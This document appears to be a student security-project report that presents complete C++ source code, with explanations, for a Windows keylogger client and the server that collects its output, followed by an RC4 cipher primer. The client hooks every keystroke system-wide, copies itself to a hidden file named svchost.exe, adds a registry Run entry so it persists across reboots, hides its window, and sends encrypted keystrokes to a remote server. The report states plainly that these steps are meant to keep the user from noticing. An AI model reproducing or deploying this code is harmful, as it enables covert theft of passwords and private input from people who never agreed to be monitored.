Key Logger and Encrypted Communication

Program Explanation

Key Logger Server

The key logger server is used to receive messages sent from the key loggers. It displays encrypted data received, decrypts it, shows the result on the screen, and then saves the decrypted data to a file.

The server can only process data from one client at a time. When a new connection is attempted, the request is put into a queue. The new request must wait for the old connection to terminate.

While we do not support parallel processing, the server can still handle multiple connections one by one. Also, our key logger client would try to reconnect to the server after the connection is lost, and our server is able to process every new connection without manual intervention.

When a new connection is established, the RC4 key stream would be re-initialized to ensure synchronization between client and server.

```
// Version of Windows, 0x501 means WINXP
#define _WIN32_WINNT 0x501
#include <winsock2.h>
#include <ws2tcpip.h>
#include <cstdio>
#include <algorithm>
using namespace std;
```

In this section, we include the necessary header files for server.
winsock2.h is for socket utilities.
ws2tcpi.h is for TCP and IP related utilities, like **getaddrinfo**, **freeaddrinfo**.
cstdio is for standard I/O.
algorithm is for swap() used in RC4.

_WIN32_WINNT controls the version of header to use, and 0x501 means XP.

```
#define STUDENT_ID "0000000"
const char *SEC_PORT = "2000";  // server port
const int BUF_LEN = 100;
```

Here we define the constants that would be used later.

```
#pragma comment(lib,"Ws2_32.lib")
```

This makes the linker to link this program with Ws2_32.lib.

```
// -- RC4 -- //
const char *KEY = "hackerneverdie";
unsigned char S[256], PRGAi, PRGAj;
void KSA(const char *key, int keylen)
{
    for (int i=0; i<256; ++i)
        S[i] = i;

    for (int i=0, j=0; i<256; ++i) {
        j = (j + S[i] + key[i%keylen]) % 256;
        std::swap(S[i], S[j]);
    }
    PRGAi = PRGAj = 0;
}
void PRG_init()
{
    KSA(KEY, strlen(KEY));
}
unsigned char PRGA()
{
    PRGAi = (PRGAi + 1) % 256;
    PRGAj = (PRGAj + S[PRGAi]) % 256;
    std::swap(S[PRGAi], S[PRGAj]);
    return S[(S[PRGAi] + S[PRGAj]) % 256];
}
// -- RC4 -- //
```

The RC4 algorithm described at the end of this report. **PRG_init()** initializes the key stream with the predefined key, “hackerneverdie”.

```
SOCKET clientSocket;

DWORD WINAPI handle(LPVOID)
{
    char recvbuf[BUF_LEN+1];
    int iResult;

    PRG_init();  // initialize PRG on every connection

    do {
        iResult = recv(clientSocket, recvbuf, BUF_LEN, 0);
        if (iResult > 0) {
            // end the string
            recvbuf[iResult] = '\0';
```

The server would print the data it receives, since the data may not be terminated by a '\0', we add one to ensure correct output. Since the input may fill the buffer, we declare recvbuf to be of length BUF_LEN+1.

```
            printf("received    : %s\n", recvbuf);
            printf("hexadecimal: ");
            for (int i=0; i<iResult; ++i) {
                unsigned ohex = recvbuf[i];
                printf("%02x ", ohex & 0xff);
            }
            printf("\n");
```

The encrypted data may be totally unreadable or even unprintable, so we transform them to hexadecimal and print the result.

```
            // decrypt the message
            for (int i=0; i<iResult; ++i) {
                recvbuf[i] = recvbuf[i] ^ PRGA();
            }
            printf("decrypted   : %s\n", recvbuf);
```

We uses RC4 key stream to decrypt the data, and display the decrypted result on the screen.

```
            FILE *log_file = fopen("C:\\" STUDENT_ID ".txt", "a+");
            // only save when the file was opened successfully
            if (log_file) {
                fputs(recvbuf, log_file);
                fclose(log_file);
            }
```

The decrypted data is also saved to a file.

```
        } else if (iResult == 0) {
            printf("Connection closing...\n");
        } else {
            printf("recv failed with error: %d\n", WSAGetLastError());
        }
    } while (iResult > 0);
```

Notice that we keep looping until the connection is closed or an error has happened.

```
    iResult = shutdown(clientSocket, SD_SEND);  // close sending channel
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
    }

    closesocket(clientSocket);
```

We close the socket and then return, the main program would keep waiting for the next connection.

```
    return 0;
}

int main()
{
    WSADATA wsdata;
    int iResult = WSAStartup(MAKEWORD(2,2), &wsdata);
```

Here we initialize Winsock using **WSAStartup**. We request the verison 2.2, and the function would store the implementation information in wsdata. **MAKEWORD** is used to concatenate two bytes into a word.

```
if (iResult != 0) {
    printf("WSAStartup failed: %d\n", iResult);
    return 1;
}
struct addrinfo *result = NULL, *ptr = NULL, hints;
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;  // Use IPv4
hints.ai_socktype = SOCK_STREAM;  // Sequenced, reliable, two-way connection
hints.ai_protocol = IPPROTO_TCP;  // Use TCP protocol
hints.ai_flags = AI_PASSIVE;  // Intend to be used with bind
```

Here we initialize the hints structure with zero and set the appropriate values. hints would provide hints about the type of socket in the call to **gettaddrinfo**.

```
printf("Obtaining the local address info...\n");
iResult = getaddrinfo(NULL, SEC_PORT, &hints, &result);
if (iResult != 0) {
    printf("getaddrinfo failed: %d\n", iResult);
    WSACleanup();
    return 1;
}
```

gettaddrinfo is used to obtain the information of the local address.

```
printf("Creating a SOCKET for connection with server...\n");
SOCKET serverSocket = INVALID_SOCKET;
ptr = result;
serverSocket = socket(ptr->ai_family,
        ptr->ai_socktype, ptr->ai_protocol);
```

Here we use **socket** to ask the OS to create the socket for us. The parameters stand for address family (IPv4), socket type, and protocol being used, respectively.

```
if (serverSocket == INVALID_SOCKET) {
    printf("cannot open socket: %ld\n", WSAGetLastError());
    freeaddrinfo(result);
    WSACleanup();
    return 1;
}
```

```
iResult = bind(serverSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
```

Here we use the **bind** function to associate the created socket with the local address and port. This is required before the use of **listen** function. The **ai_addr** points to a structure that contains the address information obtained previously by **getaddrinfo**.

```
if (iResult == SOCKET_ERROR){
    printf("bind failed with error: %d\n", WSAGetLastError());
    freeaddrinfo(result);
    closesocket(serverSocket);
    WSACleanup();
    return 1;
}

freeaddrinfo(result);
ptr = NULL;

iResult = listen(serverSocket, SOMAXCONN);
```

Here we use the **listen** function to start listening for connections. The OS would allocate a waiting queue and starts to accept connections. **SOMAXCONN** is used to tell the underlying service to set the length of the queue to a maximum reasonable size.

```
if (iResult == SOCKET_ERROR) {
    printf("Listen failed with error: %ld\n", WSAGetLastError());
    closesocket(serverSocket);
    WSACleanup();
    return 1;
}

HANDLE hand;
bool sndConn = false;
while (true) {
    SOCKET tmpSocket = INVALID_SOCKET;
    tmpSocket = accept(serverSocket, NULL, NULL);
    printf("Accept connection.\n");
    if (tmpSocket == INVALID_SOCKET) {
        printf("accept failed with error: %ld\n", WSAGetLastError());
    } else {
        if (sndConn) {
```

```
                WaitForSingleObject(hand, INFINITE);  // only handle a connection at a time
            }
            clientSocket = tmpSocket;
            hand = CreateThread(NULL, 0, handle, NULL, 0, NULL);  // start receiving data
            sndConn = true;
        }
    }
```

Here is the main loop that handles the connections of clients. We use the **accept** function to accept a single connection and get the socket to communicate. If an error happens, it continues to wait for a second connection. If a valid request is accepted, it checks to see whether a connection already exists and waits for it to terminate.

Afterwards, we create a new thread and delegate the socket to the new thread for receiving data. Notice that additional connections may wait in a queue managed by the OS before we call **accept** function at the next time.

```
    // we should never reach here
    if (sndConn) {
        WaitForSingleObject(hand, INFINITE);
    }

    closesocket(serverSocket);
    WSACleanup();
    return 0;
}
```

Key Logger Client

The key logger client records everything the user types and sends encrypted messages to the server. Our key logger is capable of hiding itself so that the user may not notice that it is executing.

Once started, the key logger copies itself into the system disk, hides the file, and modifies registry to set up a startup entry for the copied file. Doing so makes sure that it is started every time Windows boots.

The key logger hooks to the keyboard event and saves everything in a buffer, waiting for transmission. The key logger can identify the case of letters, and it also records symbols that you type.

Even when no network connection is present, the key logger can still record keys. Once the network is available, the client starts to send everything recorded to the server. If the connection is lost, it tries to reconnect every few seconds.

When a new connection is established, the RC4 key stream would be re-initialized.

```
// Version of Windows, 0x501 means WINXP
#define _WIN32_WINNT 0x501
#include <windows.h>
#include <winbase.h>
#include <winuser.h>
#include <winreg.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <cstdio>
#include <vector>
#include <algorithm>
```

In this section, we include the necessary header files for key logger.
windows.h must be included for winuser.h and winbase.h to work.
winbase.h is for GetModuleFileName.
winuser.h is virtual key definitions, key related functions and API hooking.
winreg.h is for registry handling.
winsock2.h is for socket utilities.
ws2tcpi.h is for TCP and IP related utilities, like **getaddrinfo**, **freeaddrinfo**.
cstdio is for standard I/O.
vector is for vector class used as buffers.
algorithm is for swap() used in RC4.

_WIN32_WINNT controls the version of header to use, and 0x501 means XP.

```
using namespace std;

#define SEC_PATH "C:\\svchost.exe"

const int BUF_SIZE = 500;
const char *SEC_IP = "localhost";  // server IP
const char *SEC_PORT = "2000";  // server port
const char *COPY_DST = SEC_PATH;
const unsigned char EXE_PATH[] = SEC_PATH;
```

Here we define the constants that would be used later.
SEC_PATH is the path to install itself onto the machine.
SEC_IP is the IP address of the server. Change it to the real IP if the server is not on the same host.
COPY_DST and **EXE_PATH** are used simply to achieve type compatibility.

```
#pragma comment(lib,"Ws2_32.lib")
```

This makes the linker to link this program with Ws2_32.lib. This is unnecessary if the compiling method describe at the end of this section is used.

```
// -- RC4 -- //
const char *KEY = "hackerneverdie";
unsigned char S[256], PRGAi, PRGAj;
void KSA(const char *key, int keylen)
{
        for (int i=0; i<256; ++i)
                S[i] = i;

        for (int i=0, j=0; i<256; ++i) {
                j = (j + S[i] + key[i%keylen]) % 256;
        std::swap(S[i], S[j]);
        }
        PRGAi = PRGAj = 0;
}
void PRG_init()
{
    KSA(KEY, strlen(KEY));
}
unsigned char PRGA()
{
        PRGAi = (PRGAi + 1) % 256;
        PRGAj = (PRGAj + S[PRGAi]) % 256;
    std::swap(S[PRGAi], S[PRGAj]);
    return S[(S[PRGAi] + S[PRGAj]) % 256];
}
void encrypt_string(char *str, int len)
{
    for (int i=0; i<len; ++i) {
        str[i] = str[i] ^ PRGA();
    }
}
// -- RC4 -- //
```

The RC4 algorithm described at the end of this report. **PRG_init()** initializes the key stream with the predefined key, “hackerneverdie”. **encrypt_string** can be used to encrypt a string using **PRGA**.

```
// -- Buffer -- //
HANDLE bfMutex;
std::vector<char> sharedBuffer;
std::vector<char> outputBuffer;
```

These are the buffers used to store recorded keys. The **sharedBuffer** would be accessed by the hook procedure and the client procedure communicating with the server. Since they run in different threads, we use a Mutex object to ensure only one thread can access **sharedBuffer** at the same time.

```
// mutex locker for buffer
class lock {
    public:
        lock() {
            WaitForSingleObject(bfMutex, INFINITE);
        }
        ~lock() {
            if (!ReleaseMutex(bfMutex)) {
                // Handle error.
            }
        }
};
```

C++ does not have **finally** clause, so we use RAII to ensure proper release of the lock.

```
void write_buffer(char ch)
{
    lock scopeLock;
    sharedBuffer.push_back(ch);
}
void read_buffer()
{
    if (sharedBuffer.size() > 0) {
        lock scopeLock;
        outputBuffer = sharedBuffer;
        sharedBuffer.clear();
    }
}
// -- Buffer -- //
```

These are the routines used to access the **sharedBuffer**. The **read_buffer** function copies the data to the **outputBuffer** used by the client procedure and clear the **sharedBuffer**.

```
// -- Single -- //
class SingleProcess {
    protected:
        bool another;
        HANDLE mutex;

    public:
        SingleProcess(const char *name)
        {
            mutex = CreateMutex(NULL, FALSE, name);
            another = GetLastError() == ERROR_ALREADY_EXISTS;
        }
        ~SingleProcess()
        {
            if (mutex) {
                CloseHandle(mutex);
            }
        }
        bool isAnother()
        {
            return another;
        }
};
// -- Single -- //
```

We also use a Mutex object to guarantee a single instance of our program. If a Mutex with the same name already exists, the **isAnother** method would return true. Our program can decide to terminate in that case.

```
// -- Key Logger -- //
bool isShiftDown()
{
    // the most significant bit is set if the key is down
    return GetAsyncKeyState(VK_SHIFT) & 0x8000;
}
```

Shift key must be detected to gain the correct symbol or correct case of letters to be logged. **GetAsyncKeyState** can be used to get the current key state. Because the hook procedure gets called almost immediately after the key is pressed, the status we get is fairly accurate.

```
bool isLowerCase()
{
    // the least significant bit is set if the key is toggled
    bool caps = (GetKeyState(VK_CAPITAL) & 0x0001) == 0x0001;
    bool sht = isShiftDown();
    return (caps && sht) || (!caps && !sht);
}
```

We use the state of shift key and caps lock to decide the correct case of letters. **GetKeyState** can be used to check if the key is toggled.

```
char getKey(DWORD);

LRESULT WINAPI Handle(int code, WPARAM w, LPARAM l)
{
    // capture the event `key pressed down'
    if (w == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* kbhook = (KBDLLHOOKSTRUCT *) l;
        char key = getKey(kbhook->vkCode);
        if (key) {
            write_buffer(key);
        }
    }
    return CallNextHookEx(NULL, code, w, l);
}
// -- Key Logger -- //
```

This is the hook procedure that gets called when a key is pressed. It checks whether the incoming event is a key pressing event and only process it when matched. It uses subroutine **getKey()** to get the correct character of a given virtual key. **getKey()** returns zero if the key is non-printable. When a character is detected, it writes it to the **sharedBuffer** so that the sending client can get the data.

It then passes the event to the next procedure in the hook chain. Notice that we don't check if `**code**' is zero because we want to record everything under any circumstances.

```
// -- Clinet -- //
// the socket to connect with server
SOCKET clientSocket;
```

```
bool open_socket()
{
    int iResult;
    struct addrinfo *result = NULL, *ptr = NULL, hints;
    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = AF_INET;  // Use IPv4
    hints.ai_socktype = SOCK_STREAM;  // Sequenced, reliable, two-way connection
    hints.ai_protocol = IPPROTO_TCP;  // Use TCP protocol
```

Here we initialize the hints structure with zero and set the appropriate values. hints would provide hints about the type of socket the caller supports in the call to **gettaddrinfo**.

```
    printf("Obtaining the server address...\n");
    iResult = getaddrinfo(SEC_IP, SEC_PORT, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed: %d\n", iResult);
        return false;
    }
```

Here we use **gettaddrinfo** to get the address information of the server. This function can be used to translate a host name into IP address, but since we already have the IP address, we simply pass the address to the function.

```
    printf("Creating a SOCKET for connection with server...\n");
    clientSocket = INVALID_SOCKET;
    ptr = result;
    clientSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
```

Here we use **socket** to ask the OS to create the socket for us. The parameters stand for address family (IPv4), socket type, and protocol being used, respectively.

```
    if (clientSocket == INVALID_SOCKET) {
        printf("cannot open socket: %d\n", WSAGetLastError());
        freeaddrinfo(result);
        return false;
    }

    printf("Connecting to the server...\n");
```

```
    iResult = connect(clientSocket, ptr->ai_addr,
            (int)ptr->ai_addrlen);
```

Here we ask the OS to actually connect to the server with the socket.

```
    if (iResult == SOCKET_ERROR) {
        closesocket(clientSocket);
        clientSocket = INVALID_SOCKET;
    }

    freeaddrinfo(result);
    ptr = NULL;
```

Here we free the **addrinfo** object created by **getaddrinfo** since it is no longer used.

```
    if (clientSocket == INVALID_SOCKET) {
        printf("Unable to connect to the server!\n");
        return false;
    }

    // Succeed
    return true;
}

DWORD WINAPI sec_send(LPVOID)
{
    int iResult;
    while (true) {
        int it = 0, msgLen = 0;
        char *sendBuf = NULL;
        if (open_socket()) {
            PRG_init();  // initialize PRG on every new connection
```

The sending client tries to connect with the server, and initializes RC4 key stream if the connection is established.

```
            // re-encrypt if error happened
            if (it < msgLen) {
                printf("Re-encrypting data...\n");
```

```
        // copy unencrypted data
        std::copy(outputBuffer.begin()+it, outputBuffer.end(), sendBuf+it);

        // encrypt it
        encrypt_string(sendBuf+it, msgLen-it);
    }
```

Here, we check to see if any data remains in the buffer when the connection is interrupted and prepare to transmit again.

```
    printf("Sending data to server...\n");
    bool conn_error = false;
    while (!conn_error) {
        if (it < msgLen) {
            iResult = send(clientSocket, sendBuf+it, msgLen-it, 0);
            if (iResult == SOCKET_ERROR) {
                printf("send failed: %d\n", WSAGetLastError());
                closesocket(clientSocket);

                conn_error = true;
            } else {
                it += iResult;  // advance the cursor
            }
```

We keep sending data to the server until all data is sent or an error happens. Because not all data may be transmitted once, we carefully advance the cursor to the position of the next character to send.

```
        } else {
            // clear up buffer
            if (sendBuf) {
                delete [] sendBuf;
                outputBuffer.clear();
                it = 0;
                msgLen = 0;
            }
```

Once all data is transmitted, we clear all states.

```
                    // wait for input
                    while (outputBuffer.size() == 0) {
                        Sleep(500);
                        read_buffer();
                    }
```

Here, we wait for the hook procedure to record data for us to send.

```
                    // copy the data
                    msgLen = outputBuffer.size();
                    sendBuf = new char[msgLen];
                    std::copy(outputBuffer.begin(), outputBuffer.end(), sendBuf);

                    // encrypt it
                    encrypt_string(sendBuf, msgLen);
```

Copy the data and encrypt it.

```
                }
            }
        } else {
            // wait before next connection attempt
            Sleep(10000);
        }
    }

    printf("Shuting down sending connection...\n");
    iResult = shutdown(clientSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown sending failed: %d\n", WSAGetLastError());
        closesocket(clientSocket);
        return 1;
    }

    printf("Closing...\n");
    closesocket(clientSocket);
    return 0;
}
// -- Client -- //
```

```
// -- Autorun -- //
bool setAutoRun()
{
    int iResult;
    char currentPath[BUF_SIZE];

    // Get current file name
    iResult = GetModuleFileName(NULL,
            currentPath,
            BUF_SIZE);
    if (iResult == 0) {
        printf("GetModuleFileName failed: %ld\n",
                GetLastError());
        return false;  // cannot setup auto run if failed
    }

    // install executable if newly executed
    if (strcmp(currentPath, COPY_DST) != 0) {
```

Check to see if the current process is the installed program, and if not, try to install a copy.

```
        WIN32_FIND_DATA FindFileData;
        HANDLE hFind;

        // See if a file already exists
        hFind = FindFirstFile(COPY_DST, &FindFileData);
        if (hFind != INVALID_HANDLE_VALUE) {
            FindClose(hFind);

            // set it to writable
            iResult = SetFileAttributes(COPY_DST,
                    FILE_ATTRIBUTE_NORMAL);
```

We want to make the file modifiable if there is already a file on the destination path. **FindFirstFile** can be used to see if a file of a given name exists.

```
            if (iResult == 0) {
                printf("SetFileAttributes failed: %ld\n",
                        GetLastError());
            }
```

```
    // try delete the file
    iResult = DeleteFile(COPY_DST);
    if (iResult == 0) {
        printf("DeleteFile failed: %ld\n",
                GetLastError());
    }
}


// copy the executable
iResult = CopyFile(currentPath, COPY_DST, FALSE);
if (iResult == 0) {
    printf("CopyFile failed: %ld\n",
            GetLastError());
}


// hide it
iResult = SetFileAttributes(COPY_DST,
        FILE_ATTRIBUTE_HIDDEN);
```

The **SetFileAttributes** function is used to make the installed program invisible so that the user may not notice it.

```
if (iResult == 0) {
    printf("SetFileAttributes failed: %ld\n",
            GetLastError());
}


STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
```

```
    // execute the installed keylogger
    if (CreateProcess(COPY_DST,
                NULL, NULL, NULL,
                FALSE, 0, NULL, NULL,
                &si, &pi))
    {
        // exits
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        return true;
```

We try to execute the newly installed program, and if succeeds, terminates the current process. Notice that we haven't acquired the Mutex for single instance, so that the newly executed program would not conflict with the current one. The reason to use the newly installed program instead of the current one is to change the process name.

```
    }
    printf("CreateProcess failed!\n");
}
// continue if installation failed or if we are the installed key logger

// open registry for auto run
HKEY hKey;
iResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,
        KEY_SET_VALUE,
        &hKey);
```

We then try to open the registry key to set up auto run. **KEY_SET_VALUE** is used to ask for permission for setting the key.

```
if (iResult != 0) {
    printf("RegOpenKeyEx failed: %d\n", iResult);
    return false;
}
```

```
    // set up the auto run
    iResult = RegSetValueEx(hKey,
            "securitypj3",
            0,
            REG_SZ,
            EXE_PATH,
            sizeof(EXE_PATH)
            );
```

Set the executing path to the newly installed key logger.

```
    if (iResult != 0) {
        printf("RegSetValueEx failed: %d\n", iResult);
    }

    RegCloseKey(hKey);

    return false;
}
// -- Autorun -- //

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR cmdLine, int
cmdShow)
{
```

We use **WinMain** as entry point and compile the program as a GUI program so that no console window is shown when the program is started.

```
    // set up the auto run, and exit if a new process is created
    if (setAutoRun()) {
        return 0;
    }
```

We try to set up the auto run when the program is started, if the program is installed successfully and executed, we would terminate the current process. Otherwise, we continue to start recording user's keyboard inputs.

```
{
    // only a single key logger can be executed
    SingleProcess sp("MYSINGLE-0000000-sec-pj3");
    if (sp.isAnother()) {
        printf("Already running!\n");
        return 1;
    }
```

We only allow a single instance of the program, so that the system would not slow down when too many key loggers exist. This reduces the possibility for the user to notice.

```
    int iResult;
    printf("Initializing Winsock...\n");
    WSADATA wsdata;
    iResult = WSAStartup(MAKEWORD(2,2), &wsdata);
```

Here we initialize Winsock using **WSAStartup**. We request the verison 2.2, and the function would store the implementation information in wsdata. **MAKEWORD** is used to concatenate two bytes into a word.

```
    if (iResult != 0) {
        printf("WSAStartup failed: %d\n", iResult);
        return 1;
    }

    // create mutex for sharedBuffer
    bfMutex = CreateMutex(NULL, FALSE, NULL);

    // hook keyboard event
    SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)Handle, GetModuleHandle(NULL), 0);
```

SetWindowsHookEx can be used to hook user-defined procedures to specific events. We use **WH_KEYBOARD_LL** to hook to low-level keyboard input events. The second and third parameters are the handle to the hook procedure and the module that contains the procedure, respectively.

When **GetModuleHandle** is called with NULL, it returns the handle to the image of the current program. The last ‘0’ associates the hook procedure with all programs in the same desktop.

```
    printf("Creating sending thread...\n");
```

```
        HANDLE thread;
        thread = CreateThread(NULL, 0, sec_send, NULL, 0, NULL);
```

Here we create a separate thread to execute **sec_send** function.

```
        MSG msg;
        // dequeue the message queue
        while (GetMessage(&msg, NULL, 0, 0) != 0) {
            // Translates virtual-key messages into character messages.
            TranslateMessage(&msg);
            // Dispatches a message to a window procedure.
            DispatchMessage(&msg);
        }
```

This is the message loop that most Windows GUI-based programs may use. (See http://en.wikipedia.org/wiki/Message_loop_in_Microsoft_Windows). It dequeues the queue to get and process messages posted to the program.

```
        WaitForSingleObject(thread, INFINITE);
        WSACleanup();
        return 0;
    }
}
```

Finally, the following is our **getKey()** subroutine that translate virtual key code to the actual character. It translates directly when there is a one-to-one mapping. It checks the current key states to handle letter case and symbol choice. When a non-printable character is encountered, it returns 0.

```
char getKey(DWORD vkCode)
{
    switch (vkCode) {
        case VK_SPACE:
            return ' ';
        case VK_NUMPAD0:
            return '0';
        case VK_NUMPAD1:
            return '1';
        case VK_NUMPAD2:
            return '2';
        case VK_NUMPAD3:
            return '3';
```

```
case VK_NUMPAD4:
    return '4';
case VK_NUMPAD5:
    return '5';
case VK_NUMPAD6:
    return '6';
case VK_NUMPAD7:
    return '7';
case VK_NUMPAD8:
    return '8';
case VK_NUMPAD9:
    return '9';
case VK_MULTIPLY:
    return '*';
case VK_ADD:
    return '+';
case VK_SEPARATOR:
    return ',';
case VK_SUBTRACT:
    return '-';
case VK_DECIMAL:
    return '.';
case VK_DIVIDE:
    return '/';
default:
    if (vkCode >= '0' && vkCode <= '9') {
        // if 1~9 is pressed, check shift key
        const char syms[11] = ")!@#$%^&*(";
        if (isShiftDown()) {
            return syms[vkCode-'0'];
        } else {
            return vkCode;
        }
    } else if (vkCode >= 'A' && vkCode <= 'Z') {
        // check case if A~Z is pressed
        if (isLowerCase()) {
            return vkCode-'A'+'a';
        } else {
            return vkCode;
        }
    } else {
        // check if it's other symbol
```

```
                switch (vkCode) {
                    case VK_OEM_1:
                        return isShiftDown() ? ':' : ';';
                    case VK_OEM_PLUS:
                        return isShiftDown() ? '+' : '=';
                    case VK_OEM_COMMA:
                        return isShiftDown() ? '<' : ',';
                    case VK_OEM_MINUS:
                        return isShiftDown() ? '_' : '-';
                    case VK_OEM_PERIOD:
                        return isShiftDown() ? '>' : '.';
                    case VK_OEM_2:
                        return isShiftDown() ? '?' : '/';
                    case VK_OEM_3:
                        return isShiftDown() ? '~' : '`';
                    case VK_OEM_4:
                        return isShiftDown() ? '{' : '[';
                    case VK_OEM_5:
                        return isShiftDown() ? '|' : '\\';
                    case VK_OEM_6:
                        return isShiftDown() ? '}' : ']';
                    case VK_OEM_7:
                        return isShiftDown() ? '"' : '\'';
                    case VK_OEM_102:
                        return isShiftDown() ? '>' : '<';
                }
            }
    }
    // non-printable character
    return 0;
}
```

Compiling a WIN32 GUI Program

We want to compile the key logger as a GUI program so that we can hide the console window. To do this in Code::Blocks, create a new WIN32 Project:

File -> New -> Project -> WIN32 GUI project

Afterwards, add the source code file. Make sure to select “Release” as the build target.

RC4 Introduction

Usage

Due to its speed and simplicity, RC4 is a widely used encryption algorithm. However, various weaknesses of RC4 have been discovered, and some systems using RC4 can be easily cracked.

RC4 is a stream cipher that produces a stream of pseudo-random bytes by a key. Using the same key, the key stream produced would be the same. By XORing the messages with the key stream byte by byte (or bit by bit), the data can be encrypted. The decryption is done in the same way. Two parties must share a key to communicate to each other.

Wired Equivalent Privacy (WEP)

As told in the class, RC4 is used in WEP to provide encryption. In Open System mode, any client can authenticate with the AP, but subsequent data frames must be encrypted using RC4, so that only if the key is correct can the client communicate with the AP. In Shared Key mode, RC4 is used for both authentication and data encryption. Basically, when the client attempts to authenticate, the AP would send a message to the client, asking it to encrypt the message using RC4. The client sends the encrypted result to the AP, and the authentication succeeds if the response is correct.

Wi-Fi Protected Access (WPA)

RC4 is also used in TKIP protocol of WPA to encrypt data frames. TKIP uses a more sophisticated key mixing function to produce the keys for RC4, and various mechanisms to prevent replay attack and message alteration are employed.

Other RC4-based Systems

- **PDF**: A document can be password protected from viewing and editing. Complex system of RC4 and MD5 is used to encrypt the document.
- **BitTorrent**: Data can be encrypted to prevent detection of BitTorrent traffic.
- **SSL**: RC4 is used to provide data encryption.
- **SSH**: RC4 is one of the symmetric encryption methods that can be chosen in SSH sessions.

Reference

http://en.wikipedia.org/wiki/RC4
http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
http://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol

Algorithm

RC4 generates a pseudo-random key stream, which can be used to encrypt data by XORing the data with the key stream. The RC4 algorithm is composed by two major components: (1) The key-scheduling algorithm (KSA), (2) The pseudo-random generation algorithm (PRGA). Both procedures are very easy to implement. The internal state of RC4 has two parts:

1. **S**: A permutation of all 256 possible bytes (or a permutation of 256 numbers, from 0 to 255).
2. **idx_i**, **idx_j**: Two indexes that can be pointed to entries in the permutation.

The Key-scheduling Algorithm

The KSA procedure initializes the internal state according to a give key. The key must be at least one byte in size and at most 256 bytes in size.

The procedure first initialize the S array to be 0~255. And the uses the key to swap values in S for 256 iterations.

Finally, both idx_i and idx_j are set to zero.

```
for i = 0…255
    S[i] = i
j = 0
for i = 0…255
    j = (j + S[i] + key[i mod keylen]) mod 256
    swap S[i], S[j]

idx_i = 0
Idx_j = 0
```

The Pseudo-random Generation Algorithm

Each time PRGA is called, a new state would be produced by changing idx_i, idx_j and swapping entries in S. A pseudo-random byte is computed according to the internal state.

```
idx_i = (idx_i + 1) mod 256;
idx_j = (idx_j + S[idx_i]) mod 256;
swap S[idx_i], S[idx_j]
output S[(S[idx_i] + S[idx_j]) mod 256]
```

Security Concerns

It has been shown that the output of RC4 has bias towards certain patterns. Also, the first few bytes produced by the RC4 are strongly non-random, leaking a great amount of information, enabling the attacker to easily recover the key.

Reference

http://en.wikipedia.org/wiki/RC4